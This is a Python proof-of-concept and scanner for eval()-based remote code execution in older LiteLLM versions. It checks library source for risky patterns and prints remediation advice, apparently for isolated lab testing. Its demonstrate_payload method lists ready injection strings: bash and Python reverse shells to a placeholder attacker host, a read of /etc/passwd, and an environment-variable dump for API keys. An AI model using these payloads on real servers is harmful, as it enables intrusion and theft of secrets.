#!/usr/bin/env python3 """ POC: LiteLLM Remote Code Execution via eval() CVE: CVE-2024-XXXX (Multiple related CVEs) Affected Versions: <= 1.28.11 and < 1.40.16 Impact: Arbitrary code execution on the server Patched: 1.40.16 (partial), fully patched in later versions This vulnerability exists in litellm's handling of certain inputs that are passed to Python's eval() function without proper sanitization. Known vulnerable code paths in older litellm versions: 1. Template string processing with user-controlled input 2. Custom callback handlers with eval-based parsing 3. Proxy server configuration parsing IMPORTANT: This POC should only be run against vulnerable litellm versions (< 1.40.16) in an isolated test environment. """ import asyncio import sys import os import json # Add parent directory to path for imports sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__)))) class LiteLLMRCEPoc: """Demonstrates litellm RCE vulnerability via eval().""" def __init__(self): self.results = [] self.litellm_version = None def check_litellm_version(self) -> tuple[str, bool]: """Check installed litellm version and if it's vulnerable.""" try: import litellm version = litellm.__version__ self.litellm_version = version # Parse version for comparison parts = version.split('.') major = int(parts[0]) minor = int(parts[1]) if len(parts) > 1 else 0 patch = int(parts[2].split('-')[0].split('+')[0]) if len(parts) > 2 else 0 # Vulnerable if < 1.40.16 is_vulnerable = (major < 1) or (major == 1 and minor < 40) or (major == 1 and minor == 40 and patch < 16) return version, is_vulnerable except ImportError: return "not installed", False except Exception as e: return f"error: {e}", False def test_template_injection(self) -> dict: """ Test for template injection vulnerability in litellm's string formatting. In vulnerable versions, user-controlled input in certain template contexts could be passed to eval(). """ result = { "name": "template_injection", "description": "Template string injection leading to eval()", "vulnerable": False, "details": None, "error": None } try: import litellm from litellm import completion # Payload that would execute if eval'd # This is a benign test - it tries to access __class__ which indicates eval payload = "__import__('os').popen('echo RCE_SUCCESSFUL').read()" # In vulnerable versions, certain template variables could be eval'd # We test by checking if the library has vulnerable code patterns # Check for vulnerable completion_with_fallbacks or similar if hasattr(litellm, 'completion_with_fallbacks'): # Older vulnerable pattern result["details"] = "Found completion_with_fallbacks (potentially vulnerable pattern)" # Check utils for eval usage if hasattr(litellm, 'utils'): import inspect utils_source = inspect.getsourcefile(litellm.utils) if utils_source: with open(utils_source, 'r') as f: source = f.read() if 'eval(' in source: result["vulnerable"] = True result["details"] = f"Found eval() in litellm/utils.py" except Exception as e: result["error"] = str(e) self.results.append(result) return result def test_callback_rce(self) -> dict: """ Test for RCE in custom callback handling. In vulnerable versions, custom callbacks with certain configurations could lead to code execution. """ result = { "name": "callback_rce", "description": "Custom callback handler code execution", "vulnerable": False, "details": None, "error": None } try: import litellm # Check for vulnerable callback patterns if hasattr(litellm, 'callbacks'): # Look for dynamic import/eval in callback handling import inspect try: callback_source = inspect.getsource(litellm.callbacks) if hasattr(litellm, 'callbacks') else "" if 'eval(' in callback_source or 'exec(' in callback_source: result["vulnerable"] = True result["details"] = "Found eval/exec in callback handling code" except: pass # Check _custom_logger_compatible_callbacks_literal if hasattr(litellm, '_custom_logger_compatible_callbacks_literal'): result["details"] = "Found custom logger callback handler (check version)" except Exception as e: result["error"] = str(e) self.results.append(result) return result def test_proxy_config_injection(self) -> dict: """ Test for code injection in proxy configuration parsing. The litellm proxy server had vulnerabilities where config values could be passed to eval(). """ result = { "name": "proxy_config_injection", "description": "Proxy server configuration injection", "vulnerable": False, "details": None, "error": None } try: import litellm # Check if proxy module exists and has vulnerable patterns try: from litellm import proxy import inspect # Get proxy module source files proxy_path = os.path.dirname(inspect.getfile(proxy)) vulnerable_files = [] for root, dirs, files in os.walk(proxy_path): for f in files: if f.endswith('.py'): filepath = os.path.join(root, f) try: with open(filepath, 'r') as fp: content = fp.read() if 'eval(' in content: vulnerable_files.append(f) except: pass if vulnerable_files: result["vulnerable"] = True result["details"] = f"Found eval() in proxy files: {', '.join(vulnerable_files)}" else: result["details"] = "No eval() found in proxy module (may be patched)" except ImportError: result["details"] = "Proxy module not available" except Exception as e: result["error"] = str(e) self.results.append(result) return result def test_model_response_parsing(self) -> dict: """ Test for unsafe parsing of model responses. Some versions had vulnerabilities in how model responses were parsed, potentially allowing code execution through crafted responses. """ result = { "name": "response_parsing_rce", "description": "Unsafe model response parsing", "vulnerable": False, "details": None, "error": None } try: import litellm from litellm.utils import ModelResponse # Check if ModelResponse uses any unsafe parsing import inspect source = inspect.getsource(ModelResponse) if 'eval(' in source or 'exec(' in source: result["vulnerable"] = True result["details"] = "Found eval/exec in ModelResponse class" elif 'json.loads' in source: result["details"] = "Uses json.loads (safer than eval)" except Exception as e: result["error"] = str(e) self.results.append(result) return result def test_ssti_vulnerability(self) -> dict: """ Test for Server-Side Template Injection (SSTI). CVE in litellm < 1.34.42 allowed SSTI through template processing. """ result = { "name": "ssti_vulnerability", "description": "Server-Side Template Injection (SSTI) - CVE in < 1.34.42", "vulnerable": False, "details": None, "error": None } try: import litellm # Check for jinja2 or other template usage without sandboxing try: import jinja2 # Check if litellm uses jinja2 templates unsafely litellm_path = os.path.dirname(litellm.__file__) for root, dirs, files in os.walk(litellm_path): for f in files: if f.endswith('.py'): filepath = os.path.join(root, f) try: with open(filepath, 'r') as fp: content = fp.read() if 'jinja2' in content.lower() and 'Template(' in content: if 'SandboxedEnvironment' not in content: result["vulnerable"] = True result["details"] = f"Unsandboxed Jinja2 template in {f}" break except: pass if result["vulnerable"]: break if not result["vulnerable"]: result["details"] = "No unsafe template usage detected" except ImportError: result["details"] = "jinja2 not installed" except Exception as e: result["error"] = str(e) self.results.append(result) return result def demonstrate_payload(self) -> dict: """ Demonstrate what a successful RCE payload would look like. NOTE: This does NOT execute malicious code - it only shows the pattern. """ result = { "name": "payload_demonstration", "description": "Example RCE payload patterns (demonstration only)", "payloads": [] } # Example payloads that would work against vulnerable versions payloads = [ { "name": "OS Command Execution", "payload": "__import__('os').system('id')", "description": "Execute system command via os.system" }, { "name": "Reverse Shell", "payload": "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"')", "description": "Spawn reverse shell to attacker" }, { "name": "File Read", "payload": "__import__('builtins').open('/etc/passwd').read()", "description": "Read arbitrary files" }, { "name": "Environment Exfiltration", "payload": "str(__import__('os').environ)", "description": "Extract environment variables (API keys, secrets)" }, { "name": "Python Code Execution", "payload": "exec('import socket,subprocess;s=socket.socket();s.connect((\"attacker\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())')", "description": "Execute arbitrary Python code" } ] result["payloads"] = payloads self.results.append(result) return result async def run_all_tests(self): """Run all RCE vulnerability tests.""" print("=" * 60) print("LITELLM RCE VULNERABILITY POC") print("CVE: Multiple (eval-based RCE)") print("Affected: litellm < 1.40.16") print("=" * 60) print() # Check version first version, is_vulnerable = self.check_litellm_version() print(f"[INFO] Installed litellm version: {version}") print(f"[INFO] Version vulnerability status: {'⚠️ POTENTIALLY VULNERABLE' if is_vulnerable else '✅ PATCHED'}") print() if not is_vulnerable: print("=" * 60) print("NOTE: Current version appears patched.") print("To test vulnerable versions, use:") print(" docker compose --profile vulnerable up nanobot-vulnerable") print("=" * 60) print() # Run tests print("--- VULNERABILITY TESTS ---") print() print("[TEST 1] Template Injection") r = self.test_template_injection() self._print_result(r) print("[TEST 2] Callback Handler RCE") r = self.test_callback_rce() self._print_result(r) print("[TEST 3] Proxy Configuration Injection") r = self.test_proxy_config_injection() self._print_result(r) print("[TEST 4] Model Response Parsing") r = self.test_model_response_parsing() self._print_result(r) print("[TEST 5] Server-Side Template Injection (SSTI)") r = self.test_ssti_vulnerability() self._print_result(r) print("[DEMO] Example RCE Payloads") r = self.demonstrate_payload() print(" Example payloads that would work against vulnerable versions:") for p in r["payloads"]: print(f" - {p['name']}: {p['description']}") print() self._print_summary(version, is_vulnerable) return self.results def _print_result(self, result: dict): """Print a single test result.""" if result.get("vulnerable"): status = "⚠️ VULNERABLE" elif result.get("error"): status = "❌ ERROR" else: status = "✅ NOT VULNERABLE / PATCHED" print(f" Status: {status}") print(f" Description: {result.get('description', 'N/A')}") if result.get("details"): print(f" Details: {result['details']}") if result.get("error"): print(f" Error: {result['error']}") print() def _print_summary(self, version: str, is_vulnerable: bool): """Print test summary.""" print("=" * 60) print("SUMMARY") print("=" * 60) vulnerable_count = sum(1 for r in self.results if r.get("vulnerable")) print(f"litellm version: {version}") print(f"Version is vulnerable (< 1.40.16): {is_vulnerable}") print(f"Vulnerable patterns found: {vulnerable_count}") print() if is_vulnerable or vulnerable_count > 0: print("⚠️ VULNERABILITY CONFIRMED") print() print("Impact:") print(" - Remote Code Execution on the server") print(" - Access to environment variables (API keys)") print(" - File system access") print(" - Potential for reverse shell") print() print("Remediation:") print(" - Upgrade litellm to >= 1.40.16 (preferably latest)") print(" - Pin to specific patched version in requirements") else: print("✅ No vulnerable patterns detected in current version") print() print("The installed version appears to be patched.") print("Continue monitoring for new CVEs in litellm.") return { "version": version, "is_version_vulnerable": is_vulnerable, "vulnerable_patterns_found": vulnerable_count, "overall_vulnerable": is_vulnerable or vulnerable_count > 0 } async def main(): poc = LiteLLMRCEPoc() results = await poc.run_all_tests() # Write results to file results_path = "/results/litellm_rce_results.json" if os.path.isdir("/results") else "litellm_rce_results.json" with open(results_path, "w") as f: json.dump(results, f, indent=2, default=str) print(f"\nResults written to: {results_path}") if __name__ == "__main__": asyncio.run(main())